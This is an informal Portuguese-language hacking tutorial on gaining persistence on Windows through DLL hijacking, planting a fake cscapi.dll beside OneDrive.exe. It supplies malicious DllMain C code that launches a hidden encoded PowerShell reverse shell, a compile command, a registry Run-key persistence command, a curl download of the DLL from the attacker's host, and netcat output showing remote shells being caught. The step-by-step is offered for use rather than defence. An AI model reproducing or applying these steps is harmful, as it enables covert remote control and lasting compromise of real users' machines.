.

.

─────────[ ★ P3rs1st3nc3 W1th Dll H1j4ck1ng F0r fun 4nd Pr0f1t ★ ]─────────

Autor: @ferreiraklet


─────────[ ★  l33t's g00 ★ ]─────────

  ,-.       _,---._ __  / \
 /  )    .-'       `./ /   \
(  (   ,'            `/    /|
 \  `-"             \'\   / |
  `.              ,  \ \ /  |
   /`.          ,'-`----Y   |
  (            ;        |   '
  |  ,-.    ,-'         |  /
  |  | (   |  @ferreira | /
  )  |  \  `.___________|/
  `--'   `--'



                ★★★★★★
┌───────────────Sumario────────────────┐
│                                      │
│  1. Conceito                         │
│     - O que é dll                    │
│     - O que é Dll hijacking          │
│     - Encontrando dll não existente  │
│     - Explorando exe nativo do Win   │
│  2. Criando DLL                      │
│  3. H4nds 0n:                        │
│      - Reverse Shell                 │
│      - Coletando Informações         │
│      - reg add                       │
│                                      │
└──────────────────────────────────────┘


──[ Conceito ]──

O que é Dll?

Dll, ou "Dynamic Link Library", é um recurso criado pelo Windows, uma bliblioteca dinâmica que serve para armazenar código, dados, ou recursos, usados por executáveis.
Podemos gerar uma dll com código C, Isso será falado no capítulo seguinte.

O que é Dll hijacking?

Dll Hijacking, apesar de parecer uma técnica complexa, ela é mais simples do que parece.
Essa técnica consiste em sequestrar uma dll ( existente ou não existente ), trocar uma dll, ou inserir código em uma dll existente, a fim de que,
quando o executável responsável por ela executar, chamar a dll com nosso código malicioso inserido.

Encontrando dll não existente

Como mencionado anteriormente, é também possível injetar código em dll's existentes, no entanto, não abordarei essa técnica nesse paper,
uma vez que deixaria este paper muito grande, e adicionaria possíveis riscos de quebrar alguma dll.


Logo, o approach será encontrar uma dll não existente. Para encontrarmos uma call para uma dll não existente, podemos usar o procmon, conhecido como Process Monitor.
 - O Process Monitor é um recurso da Microsoft, link para download: https://learn.microsoft.com/en-us/sysinternals/downloads/procmon

Após abrir o Procmon, primeiro devemos aplicar um filtro, especificando o .exe que queremos monitorar
 - clique na aba Filter -> Filter -> Ao lado de "is", insira o nome do executável, selecione a opção include, e conclua clicando em ok.
 - Agora o Procmon irá somente verificar o processo mencionado.
 - Abra o executável, e procure pelas chamadas de dll, se encontrar alguma dll chamada pelo executável que não exista, "x.dll NOT FOUND", o ataque pode ser realizado

O .exe pode ser qualquer um, uma vez que o ele procura uma dll não existente, podemos abusar disso para obter persistence em outras maquinas que possuírem esse mesmo .exe

Explorando Executável nativo do Windows

Com certeza você já deve ter visto o OneDrive, aquele programinha que abre com o Windows que te enche o saco, e o faz fechar sempre que o Windows iniciar.
O

Nesse paper, a persistence sera feita em cima do OneDrive.exe, por ele fazer call para uma dll que não existe em seu diretório, dessa maneira,
iremos criar uma dll com o mesmo nome da qual o executável "OneDrive.exe" chama, que ira trigar o nosso payload malicioso quando ele executar.

A dll que o OneDrive.exe chama é a "cscapi.dll"
Porém, se você notar, não existe ela em seu diretório local.
Assim, criaremos uma dll com código malicioso e colocaremos em seu diretório local.

──[ Criando a DLL Maliciosa ]──

!kl@ferreira ~/papers$ cat dll.c

#include 

BOOL WINAPI
DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved)

{
    switch (dwReason)
    {
        case DLL_PROCESS_ATTACH:
            //MessageBox(NULL, "test", "test2", MB_ICONERROR | MB_OK); message box with test message
            system("powershell -nop -w hidden -ep bypass -enc JABKACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AUwBvAGMAawBlAHQAcwAuAFQAQwBQAEMAbABpAG...");
            break;
    }
return TRUE;
}


Dentro da funcao system() coloque seu payload para reverse shell
Notas:
  - O payload inserido contem o ip 192.168.1.7 como lhost
  - 80 como lport

Compilando a DLL
!kl@ferreira ~/papers$ x86_64-w64-mingw32-gcc-win32 dll.c -o cscapi.dll -shared

──[ H4nds 0n ]──

Primeiramente, vamos pegar shell no windows como primeiro accesso.

!k@ferreira ~/papers$ nc -lnvp 443
listening on [any] 443 ...
connect to [192.168.1.7] from (UNKNOWN) [192.168.1.3] 29418
Copyright (C) 2022 Microsoft Corporation. All rights reserved.

C:\Users\ferreira>

Workflow:
  1. Executar payload com reg add para que o OneDrive.exe sempre seja executado na maquina quando o usuario logar
  2. Colocar nossa dll nomeada de "cscapi.dll" na pasta do OneDrive
  3. Executar o OneDrive.exe ( fechar ele antes se estiver aberto )
  4. B00m!!

C:\Users\ferreira>powershell -c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v Onedrive2 /t REG_SZ /d "C:\Users\ferreira\AppData\Local\Microsoft\OneDrive\OneDrive.exe"
A operação foi concluída com êxito.

Agora, precisamos baixar nossa dll, e enviar para a pasta do OneDrive


C:\Users\ferreira>cd C:\Users\ferreira\AppData\Local\Microsoft\OneDrive\
C:\Users\ferreira\AppData\Local\Microsoft\Onedrive>cmd.exe /c "curl 192.168.1.7:80/cscapi.dll --output cscapi.dll"

C:\Users\ferreira\AppData\Local\Microsoft\OneDrive> dir


    Diretório: C:\Users\ferreira\AppData\Local\Microsoft\OneDrive


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----        27/01/2023     15:26                23.007.0109.0004
d-----        27/01/2023     15:26                EBWebView
d-----        25/10/2021     22:46                ListSync
d-----        27/01/2023     15:26                LogoImages
d-----        25/10/2021     22:46                logs
d-----        14/10/2020     09:47                settings
d-----        18/08/2020     07:50                setup
d-----        25/01/2023     15:41                StandaloneUpdater
d-----        28/01/2023     11:10                Update
-a----        28/01/2023     12:29          87028 cscapi.dll
-a----        27/01/2023     15:26        2627968 OneDrive.exe
-a----        27/01/2023     15:26            344 OneDrive.VisualElementsManifest.xml
-a----        27/01/2023     15:26        4184976 OneDriveStandaloneUpdater.exe
-a----        27/01/2023     15:26       18671464 Resources.pri


Executaremos o OneDrive ->

C:\Users\ferreira\AppData\Local\Microsoft\OneDrive>start OneDrive.exe

!kl@ferreira ~/papers$ nc -lnvp 80
listening on [any] 80 ...
connect to [192.168.1.7] from (UNKNOWN) [192.168.1.3] 1410
Copyright (C) 2022 Microsoft Corporation. All rights reserved.

C:\Users\ferreira\AppData\Local\Microsoft\OneDrive>

B00m!! pwn3d w1th dll h1j4ck1ng

Gr33tz f0r 4ll

END


⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣤⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣤⣴⣶⣾⣿⣿⣿⣿⣿⡏⡆⠀
⠀⠀⠀⠀⠀⠀⠀⣠⣾⠿⠛⠋⠉⠉⠉⠈⠉⠛⠛⢳⡇⠀
⠀⠀⠀⠀⠀⢀⠞⠋⠀⠀⣷⣤⣀⣀⣀⠀⠀⠀⠀⠸⡇⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⣿⣿⣿⣿⣿⣢⠄⠀⠀⡇⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣾⣿⣿⣿⣿⣿⣿⡀⠀⠀⡇⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⡇⠀⣀⣇⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢻⣿⣿⣿⣿⣿⣿⣧⣴⣾⣻⡆
⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣿⣿⣿⣿⣿⣿⣿⣿⣿⣸⣿⡇
⠀⠀⠀⠀⠀⠀⠀⠀⠀⢻⣿⣿⣭⣾⣿⣿⣿⠉⣛⢿⠿⠁
⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⣿⣿⣷⣶⣿⣻⣿⣆⠙⣿⠀⠀     "H4ck f0r l1v1ng" - ferreira
⠀⠀⠀⠀⠀⠀⠀⢀⣴⣿⣿⣿⣿⡿⣸⣔⣿⣿⡄⣿⠀⠀
⠀⠀⠀⠀⢀⣠⣶⣿⣿⣿⣿⣿⣿⣧⣼⣿⣿⣿⣿⡏⠀⠀
⠐⠶⠶⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠿⠇⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠉⠉⠉⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⢠⢤⢤⠤⡤⡤⠄⢠⣤⡄⠠⠄⡤⣤⣤⡠⠄